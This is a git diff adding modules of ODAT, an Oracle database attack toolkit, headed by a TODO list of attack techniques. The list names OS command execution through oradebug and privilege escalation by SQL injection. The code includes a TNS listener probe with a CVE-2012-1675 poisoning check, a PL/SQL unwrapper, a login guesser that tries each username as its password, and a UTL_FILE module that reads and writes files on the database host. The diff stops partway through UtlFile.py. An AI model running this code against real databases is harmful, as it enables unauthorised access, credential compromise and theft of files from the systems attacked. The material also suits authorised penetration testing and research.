+ ODAT +############################################################################################################################### +----------- + HIGH +----------- +1- Executing Code as SYSDBA: "oradebug setmypid", oradebug call system “/bin/touch -f /home/oracle/rds.txt”Function returned 0 + http://blog.red-database-security.com/2011/09/17/disable-auditing-and-running-os-commands-using-oradebug/ + http://www.petefinnigan.com/weblog/archives/00001353.htm +2- Remonter un le SID "BLABLA" lorsque l'alias est sous la forme '.H......"..<(DESCRIPTION=(TMP=)(VSNNUM=0)(ERR=0)(ALIAS=listener_BLABLA))' +----------- + MEDIUM +----------- +1- To Transfert files via DBMS_SCHEDULER.get_file (http://docs.oracle.com/cd/B28359_01/appdev.111/b28419/d_sched.htm#BABDDBFH) +2- Implement SQL Injection via Oracle DBMS_EXPORT_EXTENSION in Oracle 9i / 10g to grant the DBA permission (http://www.red-database-security.com/exploits/oracle-sql-injection-oracle-dbms_export_extension.html) +3- Sniffing HTTP NTLM with HTTP GET Request utl_http or HTTPUriType, It's possible? +4- Read files with XMLType +5- Create files with DBMS_XMLDOM +6- Execute system command with PL/SQL native (undocumented) +7- Create an option for each module to show sql command used by this one. The aim : when the tool can't be used, sql commands generated by the tool can be used. +8- Catch errors when the credential file given by a user is not good + +----------- + LOW +----------- +1- To Transfert files via DBMS_FILE_TRANSFER (http://psoug.org/reference/dbms_file_trans.html). Need an Oracle database installed localy because need database link. +2- Vérifier qu'il y a du chiffrement ? Que faire ? +3- Vérifier comment st stockés les mots de passe dans l'application +5- Execute command system with "alter system set “_oradbg_pathname”=‘/tmp/debug.sh’;" + Alter system set is an undocumented parameter (since Oracle 10g) that allows you to specify the name of diff --git a/Tnscmd.py b/Tnscmd.py new file mode 100644 index 0000000..0e27605 --- /dev/null +++ b/Tnscmd.py @@ -0,0 +1,161 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +import logging,struct, socket, re +from Constants import * + +class Tnscmd(): + ''' + Get information about the oracle database service + ''' + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("Tnscmd object created") + self.args = args + self.recvdata = "" + self.alias = [] + self.version = "" + + def getRecvData(self): + ''' + return a representation of received data + ''' + return repr(self.recvdata) + + def getInformation(self,cmd='ping'): + ''' + Get information about the oracle database service + Return False if an error + ''' + logging.info ("alias list emptied") + self.recvdata = "" + command = "(CONNECT_DATA=(COMMAND={0}))".format(cmd) + commandlen = len(command) + #logging.info("Sending {0} to {1}:{2} in order to get ALIAS".format(command,self.args['server'],self.args['port'])) + clenH = commandlen >> 8 + clenL = commandlen & 0xff + # calculate packet length + packetlen = commandlen + 58; # "preamble" is 58 bytes + plenH = packetlen >> 8 + plenL = packetlen & 0xff + # decimal offset + # 0: packetlen_high packetlen_low + # 26: cmdlen_high cmdlen_low + # 58: command + packet = [plenH, plenL, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x01, 0x36, 0x01, 0x2c, 0x00, 0x00, 0x08, 0x00, + 0x7f, 0xff, 0x7f, 0x08, 0x00, 0x00, 0x00, 0x01, + clenH, clenL, 0x00, 0x3a, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x34, 0xe6, 0x00, 0x00, + 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00] + #put the command in packet + for c in command : packet.append(ord(c)) + sendbuf = ''.join([struct.pack('B', val) for val in packet]) + #logging.debug("connect to this service") + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + logging.debug("Connection to {0}:{1}".format(self.args['server'],int(self.args['port']))) + s.connect((self.args['server'],int(self.args['port']))) + logging.debug("writing {0} bytes: {1}".format(len(sendbuf),repr(sendbuf))) + s.sendall(sendbuf) + logging.debug("reading data") + # read until socket EOF + while 1: + data = s.recv(1024) + self.recvdata += data + if not data: break + s.close() + except Exception,e: + logging.critical("Connection Error: {0}".format(e)) + return False + # 1st 12 bytes have some meaning which so far eludes me + logging.info("Data received thanks to the '{1}' cmd: {0}".format(repr(self.recvdata),cmd)) + + def getAlias(self): + ''' + return alias list + ''' + self.alias = [] + self.getInformation(cmd='ping') + alias = re.findall(r'(?<=ALIAS=).+?(?=\))', self.recvdata, flags=re.IGNORECASE) + for anAlias in alias : self.alias.append(anAlias.replace('\n','').replace(' ','').replace('\t','')) + return self.alias + + def getVersion(self): + ''' + return version from VSNNUM + ''' + self.version = "" + self.getInformation(cmd='version') + vsnnum = re.findall(r'(?<=VSNNUM=).+?(?=\))', self.recvdata, flags=re.IGNORECASE) + hexversion = str(hex(int(vsnnum[0])))[2:] + if len(hexversion)%2 !=0 : hexversion='0'+hexversion + versionList = re.findall('..?',hexversion) + for v in versionList : self.version += str(int(v,16)) + '.' + return self.version + + def isTNSListenerVulnerableToCVE_2012_1675 (self): + ''' + Checks the server for TNS Poison vulnerabilities. + It sends to the remote listener a packet with command to register a new TNS Listener and checks + for response indicating an error. If there is an error in the response, the target is not vulnearble. + Otherwise, the target is vulnerable. + Return True if vulneeable to CVE-2012-1675 (http://seclists.org/fulldisclosure/2012/Apr/204) + Otherwise returns False + return None if error + ''' + ERROR_STR = "(ERROR_STACK=(ERROR=" + status = self.getInformation(cmd='service_register_NSGR') + if status == False: + return None + else: + if ERROR_STR in self.recvdata: + logging.debug("'{0}' in target's response after registration command: not vulnerable".format(ERROR_STR)) + return False + else: + logging.debug("Target is vulnerable to CVE-2012-1675 because there is no error in the reponse after registration command") + return True + + +def runCheckTNSPoisoning(args): + ''' + Check if target is vulnerable to Tns poisoning + ''' + args['print'].title("Is the target is vulnerable to TNS poisoning (CVE-2012-1675). Keep calm because take time...") + tnscmd = Tnscmd(args) + status = tnscmd.isTNSListenerVulnerableToCVE_2012_1675() + if status == None: + pass + elif status == True: + args['print'].goodNews("The target is vulnerable to a remote TNS poisoning") + else : + args['print'].badNews("The target is not vulnerable to a remote TNS poisoning") + +def runTnsCmdModule(args): + ''' + run the TNS cmd module + ''' + if args['ping'] == False and args['version'] == False and args['status'] == False and args['checkTNSPoisoning'] == False: + logging.critical("You must choose --ping or/and --version or/and --status") + return EXIT_MISS_ARGUMENT + tnscmd = Tnscmd(args) + if args['ping'] == True: + args['print'].title("Searching ALIAS on the {0} server, port {1}".format(args['server'],args['port'])) + alias = tnscmd.getAlias() + args['print'].goodNews("{0} ALIAS received: {1}. You should use this alias (more or less) as Oracle SID.".format(len(alias),alias)) + if args['version'] == True: + args['print'].title("Searching the version of the Oracle database server ({0}) listening on the port {1}".format(args['server'],args['port'])) + version = tnscmd.getVersion() + args['print'].goodNews("The remote database version is: '{0}'".format(version)) + if args['status'] == True: + args['print'].title("Searching the server status of the Oracle database server ({0}) listening on the port {1}".format(args['server'],args['port'])) + tnscmd.getInformation(cmd='status') + args['print'].goodNews("Data received by the database server: '{0}'".format(tnscmd.getRecvData())) + if args['checkTNSPoisoning'] == True: + runCheckTNSPoisoning(args) + + diff --git a/Unwrapper.py b/Unwrapper.py new file mode 100644 index 0000000..2134442 --- /dev/null +++ b/Unwrapper.py @@ -0,0 +1,145 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from OracleDatabase import OracleDatabase +import logging, subprocess +from threading import Thread +from Utils import checkOptionsGivenByTheUser +from Constants import * + +import re, base64, zlib, sys + +class Unwrapper (OracleDatabase): + ''' + To unwrap PL/SQL source code + ''' + + CHAR_MAP_SUBSTITUTION = [0x3d, 0x65, 0x85, 0xb3, 0x18, 0xdb, 0xe2, 0x87, 0xf1, 0x52, 0xab, 0x63, 0x4b, 0xb5, 0xa0, 0x5f, 0x7d, 0x68, 0x7b, 0x9b, 0x24, 0xc2, 0x28, 0x67, 0x8a, 0xde, 0xa4, 0x26, 0x1e, 0x03, 0xeb, 0x17, 0x6f, 0x34, 0x3e, 0x7a, 0x3f, 0xd2, 0xa9, 0x6a, 0x0f, 0xe9, 0x35, 0x56, 0x1f, 0xb1, 0x4d, 0x10, 0x78, 0xd9, 0x75, 0xf6, 0xbc, 0x41, 0x04, 0x81, 0x61, 0x06, 0xf9, 0xad, 0xd6, 0xd5, 0x29, 0x7e, 0x86, 0x9e, 0x79, 0xe5, 0x05, 0xba, 0x84, 0xcc, 0x6e, 0x27, 0x8e, 0xb0, 0x5d, 0xa8, 0xf3, 0x9f, 0xd0, 0xa2, 0x71, 0xb8, 0x58, 0xdd, 0x2c, 0x38, 0x99, 0x4c, 0x48, 0x07, 0x55, 0xe4, 0x53, 0x8c, 0x46, 0xb6, 0x2d, 0xa5, 0xaf, 0x32, 0x22, 0x40, 0xdc, 0x50, 0xc3, 0xa1, 0x25, 0x8b, 0x9c, 0x16, 0x60, 0x5c, 0xcf, 0xfd, 0x0c, 0x98, 0x1c, 0xd4, 0x37, 0x6d, 0x3c, 0x3a, 0x30, 0xe8, 0x6c, 0x31, 0x47, 0xf5, 0x33, 0xda, 0x43, 0xc8, 0xe3, 0x5e, 0x19, 0x94, 0xec, 0xe6, 0xa3, 0x95, 0x14, 0xe0, 0x9d, 0x64, 0xfa, 0x59, 0x15, 0xc5, 0x2f, 0xca, 0xbb, 0x0b, 0xdf, 0xf2, 0x97, 0xbf, 0x0a, 0x76, 0xb4, 0x49, 0x44, 0x5a, 0x1d, 0xf0, 0x00, 0x96, 0x21, 0x80, 0x7f, 0x1a, 0x82, 0x39, 0x4f, 0xc1, 0xa7, 0xd7, 0x0d, 0xd1, 0xd8, 0xff, 0x13, 0x93, 0x70, 0xee, 0x5b, 0xef, 0xbe, 0x09, 0xb9, 0x77, 0x72, 0xe7, 0xb2, 0x54, 0xb7, 0x2a, 0xc7, 0x73, 0x90, 0x66, 0x20, 0x0e, 0x51, 0xed, 0xf8, 0x7c, 0x8f, 0x2e, 0xf4, 0x12, 0xc6, 0x2b, 0x83, 0xcd, 0xac, 0xcb, 0x3b, 0xc4, 0x4e, 0xc0, 0x69, 0x36, 0x62, 0x02, 0xae, 0x88, 0xfc, 0xaa, 0x42, 0x08, 0xa6, 0x45, 0x57, 0xd3, 0x9a, 0xbd, 0xe1, 0x23, 0x8d, 0x92, 0x4a, 0x11, 0x89, 0x74, 0x6b, 0x91, 0xfb, 0xfe, 0xc9, 0x01, 0xea, 0x1b, 0xf7, 0xce] + REQ_GET_SOURCE_CODE = "SELECT text, owner FROM all_source WHERE name LIKE '{0}' ORDER BY line" + + def __init__(self,args, offline): + ''' + Constructor + ''' + logging.debug("Unwrapper object created") + self.offline = offline + if offline == False: + logging.debug("Offline mode of Unwrapper module enabled.") + OracleDatabase.__init__(self,args) + else: + logging.debug("Offline mode of Unwrapper module disabled") + + def __getSourceCode__ (self, objectName): + ''' + returns souce code of the object objectName + returns {'owner':'', 'sourceCode':''} or None if no result + ''' + sourceCode = "" + logging.info("Geeting the source code of the object named {0}".format(objectName)) + logging.debug("Sending this request: {0}".format(self.REQ_GET_SOURCE_CODE.format(objectName))) + results = self.__execQuery__(query=self.REQ_GET_SOURCE_CODE.format(objectName), ld=['text', 'owner']) + if results == []: + logging.error('Empty response: No source code for the object named {0}. Perhaps a mistake in your object name'.format(objectName)) + return None + else: + for aResult in results: sourceCode += aResult['text'] + return {'owner':results[0]['owner'],'sourceCode':sourceCode} + + def __unwrap__ (self, wrappedCode): + ''' + Returns PL/SQL data unwrapped or None if error + ''' + logging.info("Unwrapping the following PL/SQL source code: '{0}'".format(wrappedCode)) + lines = wrappedCode['sourceCode'].split('\n')[:-1] + try: + for i in range(0, len(lines)): + matches = re.compile(r"^[0-9a-f]+ ([0-9a-f]+)$").match(lines[i]) + if matches: + b64str, j = '', 0 + b64len = int(matches.groups()[0], 16) + logging.debug("Length of base 64 string equal to {0}".format(b64len)) + while len(b64str) < b64len: + j+=1 + b64len-=1 + b64str += lines[i+j] + return(self.__decodeBase64Package__(b64str)) + except Exception,e: + logging.error("Impossible to parse the correctly the PL/SQL source code: '{0}'".format(e)) + return None + + def unwrapRemotely(self, objectName): + ''' + unwrap a PL/SQL code remotely + Returns Nne if error. Otherwise returns source code unwrapped + ''' + sourceCode = self.__getSourceCode__(objectName) + if sourceCode == None: return None + code = self.__unwrap__(sourceCode) + return code + + def unwrapLocally(self, filename): + ''' + unwrap a PL/SQL code remotely + ''' + f = open(filename) + lines = "".join(f.readlines()) + code = self.__unwrap__({'owner':'unknown', 'sourceCode':lines}) + return code + + + def __decodeBase64Package__(self,b64str): + ''' + Return None if error + ''' + decoded = '' + try: + b64dec = base64.decodestring(b64str)[20:] # we strip the first 20 chars (SHA1 hash, I don't bother checking it at the moment) + for byte in range(0, len(b64dec)): decoded += chr(self.CHAR_MAP_SUBSTITUTION[ord(b64dec[byte])]) + datadec = zlib.decompress(decoded) + except Exception,e: + logging.error("Impossible to decompress data: '{0}'".format(e)) + return None + return datadec + + def testAll (self): + ''' + Test all functions + ''' + self.args['print'].subtitle("Unwrap PL/SQL source code remotely?") + logging.info('Nothing to do, return True') + self.args['print'].goodNews("OK") + return True + +def runUnwrapperModule(args): + ''' + Run the unwrapper module + ''' + status, offline = True, True + if args['test-module'] == False and args['object-name'] == None and args['file'] == None: + logging.critical("You must choose --test-module or/and --object-name or/and --file") + return EXIT_MISS_ARGUMENT + if args['file'] != None: + offline = True + unwrapper = Unwrapper(args, offline=True) + if args['object-name'] != None: + if checkOptionsGivenByTheUser(args,["test-module","object-name"]) == False : return EXIT_MISS_ARGUMENT + offline = False + unwrapper = Unwrapper(args, offline=False) + unwrapper.connection(stopIfError=True) + if args['test-module'] == True : + args['print'].title("Test if the Unwrapper module can be used") + unwrapper.testAll() + if args['object-name'] != None : + args['print'].title("Unwrapping PL/SQL source code of {0} stored in the remote database".format(args['object-name'])) + code = unwrapper.unwrapRemotely(args['object-name']) + if code == None: args['print'].badNews("Impossible to get the source code or to unwrap it. Is it wrapped? Have you permissions?...") + else: args['print'].goodNews(code) + if args['file'] != None : + args['print'].title("Unwrapping PL/SQL source code stored in the local file named {0}".format(args['file'])) + code = unwrapper.unwrapLocally(args['file']) + if code == None: args['print'].badNews("Impossible to read the source code or to unwrap it. Is it wrapped? Have you permissions?...") + else: args['print'].goodNews(code) + + + + diff --git a/UsernameLikePassword.py b/UsernameLikePassword.py new file mode 100644 index 0000000..647d8b5 --- /dev/null +++ b/UsernameLikePassword.py @@ -0,0 +1,83 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from OracleDatabase import OracleDatabase +import logging,cx_Oracle +from Utils import ErrorSQLRequest, checkOptionsGivenByTheUser +from Constants import * +from PasswordGuesser import PasswordGuesser, runPasswordGuesserModule + +class UsernameLikePassword (OracleDatabase): + ''' + Allow to connect to the database using each Oracle username like the password + ''' + def __init__(self,args, lowerAndUpper=True): + ''' + Constructor + ''' + logging.debug("UsernameLikePassword object created") + OracleDatabase.__init__(self,args) + self.allUsernames = [] + self.validAccountsList = [] + self.lowerAndUpper=lowerAndUpper + + def __loadAllUsernames__(self): + ''' + Get all usernames from the ALL_USERS table + ''' + logging.info('Get all usernames from the ALL_USERS table') + query = "select username from ALL_USERS" + response = self.__execQuery__(query=query,ld=['username']) + if isinstance(response,Exception) : + logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) + return response + else : + if response == []: self.allUsernames = [] + else: + for e in response : self.allUsernames.append(e['username']) + logging.info("Oracle usernames stored in the ALL_USERS table: {0}".format(self.allUsernames)) + + def tryUsernameLikePassword(self): + ''' + Try to connect to the DB with each Oracle username using the username like the password + if lowerAndUpper == True, the username in upper case and lower case format will be tested + Otherwise identical to username only + ''' + accounts = [] + self.__loadAllUsernames__() + passwordGuesser = PasswordGuesser(self.args,"",timeSleep=self.args['timeSleep']) + for usern in self.allUsernames: + if self.lowerAndUpper == True: + logging.debug("Password identical (upper case and lower case) to username will be tested for '{0}'".format(usern)) + accounts.append([usern,usern.upper()]) + accounts.append([usern,usern.lower()]) + else: + logging.debug("Password identical to username will be tested ONLY for '{0}' (option enabled)".format(usern)) + accounts.append([usern,usern]) + passwordGuesser.accounts = accounts + passwordGuesser.searchValideAccounts() + self.validAccountsList = passwordGuesser.valideAccounts + + def testAll (self): + ''' + Test all functions + ''' + pass + +def runUsernameLikePassword(args): + ''' + Run the UsernameLikePassword module + ''' + status= True + usernameLikePassword = UsernameLikePassword(args) + status = usernameLikePassword.connection(stopIfError=True) + #Option 1: UsernameLikePassword + if args['run'] !=None : + args['print'].title("Oracle users have not the password identical to the username ?") + usernameLikePassword.tryUsernameLikePassword() + if usernameLikePassword.validAccountsList == {}: + args['print'].badNews("No found a valid account on {0}:{1}/{2}".format(args['server'], args['port'], args['sid'])) + else : + args['print'].goodNews("Accounts found on {0}:{1}/{2}: {3}".format(args['server'], args['port'], args['sid'],usernameLikePassword.validAccountsList)) + + diff --git a/Utils.py b/Utils.py new file mode 100644 index 0000000..2fa95de --- /dev/null +++ b/Utils.py @@ -0,0 +1,217 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +import re, logging, platform,time +from socket import gethostbyname +from sys import exit +from sys import stdout +from datetime import datetime +import os.path, cx_Oracle +if os.name == 'nt': + import ntpath +from subprocess import STDOUT, Popen, PIPE +from socket import inet_aton +import os + +def generateUniqueNameFile (): + ''' + Genere un nom de fichier unique à partir de la date et heure courante + ''' + return datetime.now().strftime("%Y-%m-%d_%H-%M-%S") + +class ErrorSQLRequest(Exception): + ''' + ''' + def __init__(self, e, query=None): + ''' + ''' + self.errormsg = str(e) + if query != None : + self.query = query + else : + self.query = "" + + def __str__(self): + ''' + ''' + return '`'+str(self.errormsg.replace('\n',' ').replace('\t',' '))+'`' + + def generateInfoAboutError(self, query=None): + ''' + Return explanations,proofs,complianceStatus + ''' + if query == None : + explanations = "Error with the query: '{0}'".format(self.query) + else : + explanations = "Error with the query: '{0}'".format(query) + proofs = "Error message: {0}".format(self.__str__()) + complianceStatus = -2 + return explanations, proofs, complianceStatus + +def checkOracleVersion(args): + ''' + ''' + VERSIONS_TESTED = [11] + cursorRep = execThisQuery(args,"select * from product_component_version",["PRODUCT","VERSION","STATUS"]) + for l in cursorRep: + if "Oracle Database" in l['PRODUCT']: + logging.info("The '{0}' version is: {1}".format(l['PRODUCT'],l['VERSION'])) + if l['VERSION'][:2] in VERSIONS_TESTED : logging.warn("The version of the Oracle database is not in {0}".format(', '.join(VERSIONS_TESTED))) + +def normalizePath(path1,path2): + ''' + Normalise un path sous windows en concaténant 2 paths + ''' + userPlatform = platform.system().upper() + if userPlatform == "WINDOWS": + return ntpath.normpath(ntpath.join(path1, path2)) + elif userPlatform == "LINUX": + return os.path.join(path1, path2) + else : + return None + +def areEquals(o1,o2): + ''' + retourne True si o1 == o2 (case insensitive) + ''' + if o1 == None : + o1 = "" + if o2 == None : + o2 = "" + if type(o1) is datetime : + o1 = o1.ctime() + if type(o2) is datetime : + o2 = o2.ctime() + if type(o1) is str and type(o2) is str: + if o1.lower() == o2.lower() : return True + else : return False + else : logging.error("Bad comparison in the areEquals function: o1:{0}, o2:{1}".format(type(o1),type(o2))) + +def getOracleConnection(args, connectId): + ''' + Return an Oracle object connected to the database thanks to the Oracle connection string (connectId) + ''' + try: + if args['SYSDBA'] == True : + return cx_Oracle.connect(connectId, mode=cx_Oracle.SYSDBA) + elif args['SYSOPER'] == True : + return cx_Oracle.connect(connectId, mode=cx_Oracle.SYSOPER) + else : + return cx_Oracle.connect(connectId) + except Exception, e: + logging.error("Impossible to connect to the database: {0}".format(str(e))) + exit(-1) + +def configureLogging(args): + ''' + Configure le logging + ''' + if args['verbose']==0: level=logging.WARNING + elif args['verbose']==1: level=logging.INFO + elif args['verbose']>=2: level=logging.DEBUG + logging.basicConfig(format='%(levelname)s: %(message)s',level=level) + +def execSystemCmd (cmd): + ''' + Execute a command with popen + Return None if an error + ''' + p = Popen(cmd, stdin=PIPE, stdout=PIPE, stderr=PIPE, close_fds=True, shell=True) + stdout, stderr = p.communicate() + if stderr != "" : + logging.error("Problem when executing the command \'{0}\':\n{1}".format(cmd, stderr[:-1])) + return None + else : + if stdout != "" : + stdout = stdout[:-1] + logging.debug("Command '{0}' success. Data returned:\n{1}".format(cmd,stdout)) + else : + logging.debug("Command '{0}' success.".format(cmd)) + return stdout + +def anAccountIsGiven (args): + ''' + return True if an account is given in args + Otherwise, return False + - operations must be a list + - args must be a dictionary + ''' + if (args.has_key('user') ==False or args.has_key('password') == False) or (args['user'] == None and args['password'] == None): + logging.critical("You must give a valid account with the '-U username' option and the '-P password' option.") + return False + elif args['user'] != None and args['password'] == None: + logging.critical("You must give a valid account with the '-P password' option.") + return False + elif args['user'] == None and args['password'] != None: + logging.critical("You must give a valid username with the '-U username' option.") + return False + else : + return True + +def anOperationHasBeenChosen(args, operations): + ''' + Return True if an operation has been chosen. + Otherwise return False + - operations must be a list + - args must be a dictionary + ''' + for key in operations: + if args.has_key(key) == True: + if key == "test-module": + if args[key] == True: return True + elif args[key] != None and args[key] != False : return True + logging.critical("An operation on this module must be chosen thanks to one of these options: --{0};".format(', --'.join(operations))) + return False + +def ipOrNameServerHasBeenGiven(args): + ''' + Return True if an ip or name server has been given + Otherwise return False + - args must be a dictionary + ''' + if args.has_key('server') == False or args['server'] == None: + logging.critical("The server address must be given with the '-s IPadress' option.") + return False + else : + try: + inet_aton(args['server']) + except Exception,e: + try: + ip = gethostbyname(args['server']) + args['server'] = ip + except Exception,e: + logging.critical("There is an error with the name server or ip address: '{0}'".format(e)) + return False + return True + +def sidHasBeenGiven(args): + ''' + Return True if an ip has been given + Otherwise return False + - args must be a dictionary + ''' + if args.has_key('sid') == False or args['sid'] == None: + logging.critical("The server SID must be given with the '-d SID' option.") + return False + return True + +def checkOptionsGivenByTheUser(args,operationsAllowed,checkAccount=True): + ''' + Return True if all options are OK + Otherwise return False + - args: list + - operationsAllowed : operations allowed with this module + ''' + if ipOrNameServerHasBeenGiven(args) == False : return False + elif sidHasBeenGiven(args) == False : return False + elif checkAccount==True and anAccountIsGiven(args) == False : return False + elif anOperationHasBeenChosen(args,operationsAllowed) == False : return False + return True + +def getScreenSize (): + ''' + Returns screen size (columns, lines) + ''' + rows, columns = os.popen('stty size', 'r').read().split() + return (rows, columns) + diff --git a/UtlFile.py b/UtlFile.py new file mode 100644 index 0000000..8865f7f --- /dev/null +++ b/UtlFile.py @@ -0,0 +1,322 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from DirectoryManagement import DirectoryManagement +import logging, random, string, cx_Oracle +from hashlib import md5 +from Utils import ErrorSQLRequest, checkOptionsGivenByTheUser +from Constants import * + +class UtlFile (DirectoryManagement): + ''' + Allow the user to read/write file on the remote database system with UTL_FILE + ''' + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("UtlFile object created") + DirectoryManagement.__init__(self,args) + + def __createFile__(self,nameFile, data, appendMode=False): + ''' + Create a file named nameFile in the directoryName directory containing data + Return True if no error, otherwise return exception + ''' + logging.debug('Create the {0} file remotly'.format(nameFile)) + strAddData = "" + #2.a- Create the remote binary file if exist + UTL_FILE_CREATE_FILE = "DECLARE fi UTL_FILE.FILE_TYPE; bu RAW(32766); BEGIN fi:=UTL_FILE.fopen('{0}','{1}','wb',32766); UTL_FILE.fclose(fi); END;" + request = UTL_FILE_CREATE_FILE.format(self.directoryName, nameFile) + response = self.__execPLSQL__(request) + if isinstance(response,Exception): + logging.info('Impossible to create file with UTL_FILE: {0}'.format(self.cleanError(response))) + return response + #2.b- Append to the remote file + UTL_FILE_CREATE_FILE = "DECLARE fi UTL_FILE.FILE_TYPE; bu RAW(32766); BEGIN bu:=hextoraw('{0}'); fi:=UTL_FILE.fopen('{1}','{2}','ab',32766); UTL_FILE.put_raw(fi,bu,TRUE); UTL_FILE.fclose(fi); END;" + for aPart in [data[i:i+3000] for i in range(0, len(data), 3000)]: + request = UTL_FILE_CREATE_FILE.format(aPart.encode("hex"), self.directoryName, nameFile) + response = self.__execPLSQL__(request) + if isinstance(response,Exception): + logging.info('Impossible to append to the file: {0}'.format(self.cleanError(response))) + return response + return True + + def putFile (self,remotePath, remoteNameFile, localFile=None, data=None): + ''' + Create the localFile file (named remoteNameFile) on the remote system in the remotePath directory + Choice between localFile or data + Return True if no error, otherwise return exception + ''' + if (localFile == None and data==None) or (localFile != None and data!=None): + logging.critical("To put a file, choose between a localFile or data") + if data==None : logging.info('Copy the {0} file to the {1} remote path like {2}'.format(localFile,remotePath,remoteNameFile)) + else : logging.info('Copy this data : `{0}` in the {2} in the {1} remote path'.format(data,remotePath,remoteNameFile)) + self.__setDirectoryName__() + status = self.__createOrRemplaceDirectory__(remotePath) + if isinstance(status,Exception): return status + if localFile != None: + data = self.__loadFile__(localFile) + status = self.__createFile__(remoteNameFile, data) + if isinstance(status,Exception): return status + self.__dropDirectory__() + return True + + def appendFile(self,remotePath, remoteNameFile, localFile=None, data=None): + ''' + Append to the remoteNameFile file (on the remote system in the remotePath directory) data stored on the localFile file + Return True if no error, otherwise return exception + ''' + logging.info('Append data stored in the {0} file to the {1} file stored in {2}'.format(localFile,remoteNameFile,remotePath)) + if (localFile == None and data==None) or (localFile != None and data!=None): + logging.error("To append to a file, choose between a localFile or data") + self.__setDirectoryName__() + self.__createOrRemplaceDirectory__(remotePath) + if localFile != None: + data = self.__loadFile__(localFile) + self.__createFile__(remoteNameFile, data, appendMode=True) + status = self.__dropDirectory__() + if isinstance(status,Exception): + return status + return True + + def getFile2 (self, remotePath, remoteNameFile): + ''' + Create the localFile file containing data stored on the remoteNameFile (stored in the remotePath) + ''' + logging.info("Read the {0} remote file stored in {1}".format(remoteNameFile,remotePath)) + data = "" + self.__setDirectoryName__() + status = self.__createOrRemplaceDirectory__(remotePath) + if isinstance(status,Exception): return status + #Get data of the remote file + UTL_FILE_GET_FILE = "DECLARE l_fileID UTL_FILE.FILE_TYPE; l_buffer VARCHAR2(32000); hexdata VARCHAR2(32000); BEGIN l_fileID := UTL_FILE.FOPEN ('{0}', '{1}', 'r', 32000); LOOP UTL_FILE.GET_LINE(l_fileID, l_buffer, 32000); select RAWTOHEX(l_buffer) into hexdata from dual; dbms_output.put_line(hexdata); END LOOP; EXCEPTION WHEN NO_DATA_FOUND THEN UTL_FILE.fclose(l_fileID); NULL; END;" + cursor = cx_Oracle.Cursor(self.args['dbcon']) + try : + cursor.callproc("dbms_output.enable") + try: + cursor.execute(UTL_FILE_GET_FILE.format(self.directoryName, remoteNameFile)) + except Exception, e: + logging.info("Impossible to execute the query `{0}`: {1}".format(UTL_FILE_GET_FILE, self.cleanError(e))) + self.__dropDirectory__() + return ErrorSQLRequest(e) + else : + statusVar = cursor.var(cx_Oracle.NUMBER) + lineVar = cursor.var(cx_Oracle.STRING) + while True: + cursor.callproc("dbms_output.get_line", (lineVar, statusVar)) + if statusVar.getvalue() != 0: + break + line = lineVar.getvalue() + if line == None : + line = '' + data += line.decode('hex')+'\n' + cursor.close() + except Exception, e: + self.__dropDirectory__() + return ErrorSQLRequest(e) + self.__dropDirectory__() + return data + + def getFile (self, remotePath, remoteNameFile): + ''' + return data stored in the remoteNameFile file of the remotePath path + Return False if file not exist + ''' + logging.info("Read the {0} remote file stored in {1}".format(remoteNameFile,remotePath)) + data, currentByte = "", 0 + self.__setDirectoryName__() + status = self.__createOrRemplaceDirectory__(remotePath) + if isinstance(status,Exception): return status + #Get data of the remote file + #UTL_FILE_GET_FILE = "DECLARE l_fileID UTL_FILE.FILE_TYPE; l_buffer VARCHAR2(32000); hexdata VARCHAR2(32000); l_exists BOOLEAN; l_file_length NUMBER; l_blocksize NUMBER; BEGIN UTL_FILE.fgetattr('{0}', '{1}', l_exists, l_file_length, l_blocksize); l_fileID := UTL_FILE.FOPEN ('{0}', '{1}', 'r', 1000); UTL_FILE.FSEEK(l_fileID,0,{2}); LOOP UTL_FILE.GET_LINE(l_fileID, l_buffer, 32000); select RAWTOHEX(l_buffer,{2}) into hexdata from dual; dbms_output.put_line(hexdata); END LOOP; EXCEPTION WHEN NO_DATA_FOUND THEN UTL_FILE.fclose(l_fileID); NULL; END;" + UTL_FILE_GET_FILE = "DECLARE l_fileID UTL_FILE.FILE_TYPE; l_buffer VARCHAR2(5000); hexdata VARCHAR2(10000); BEGIN l_fileID := UTL_FILE.FOPEN ('{0}', '{1}', 'r', 5000); UTL_FILE.FSEEK(l_fileID,{2},0); UTL_FILE.GET_LINE(l_fileID, l_buffer, 5000); select RAWTOHEX(l_buffer) into hexdata from dual; dbms_output.put_line(hexdata); UTL_FILE.fclose(l_fileID); END;" + if self.getFileExist (remotePath, remoteNameFile) == True : + length = self.getLength (remotePath, remoteNameFile) + if length <= 0: + pass + else : + cursor = cx_Oracle.Cursor(self.args['dbcon']) + cursor.callproc("dbms_output.enable") + while currentByte < length: + try: + cursor.execute(UTL_FILE_GET_FILE.format(self.directoryName, remoteNameFile,currentByte)) + except Exception, e: + logging.info("Impossible to execute the query `{0}`: {1}".format(UTL_FILE_GET_FILE, self.cleanError(e))) + self.__dropDirectory__() + return ErrorSQLRequest(e) + else : + statusVar = cursor.var(cx_Oracle.NUMBER) + lineVar = cursor.var(cx_Oracle.STRING) + while True: + cursor.callproc("dbms_output.get_line", (lineVar, statusVar)) + if statusVar.getvalue() != 0: break + line = lineVar.getvalue() + if line == None : line = '' + data += line.decode('hex')+'\n' + currentByte += len(line.decode('hex')+'\n') + logging.info(line.decode('hex')) + cursor.close() + else : data = False + self.__dropDirectory__() + return data + + + + def getLength (self, remotePath, remoteNameFile): + ''' + Get the file length. Return 0 if empty or + ''' + logging.info("Get the file length of the {1}{0} file".format(remoteNameFile,remotePath)) + data = "" + self.__setDirectoryName__() + status = self.__createOrRemplaceDirectory__(remotePath) + if isinstance(status,Exception): return status + UTL_FILE_GET_LENGTH = "DECLARE l_fileID UTL_FILE.FILE_TYPE; l_value VARCHAR2(32000); l_exists 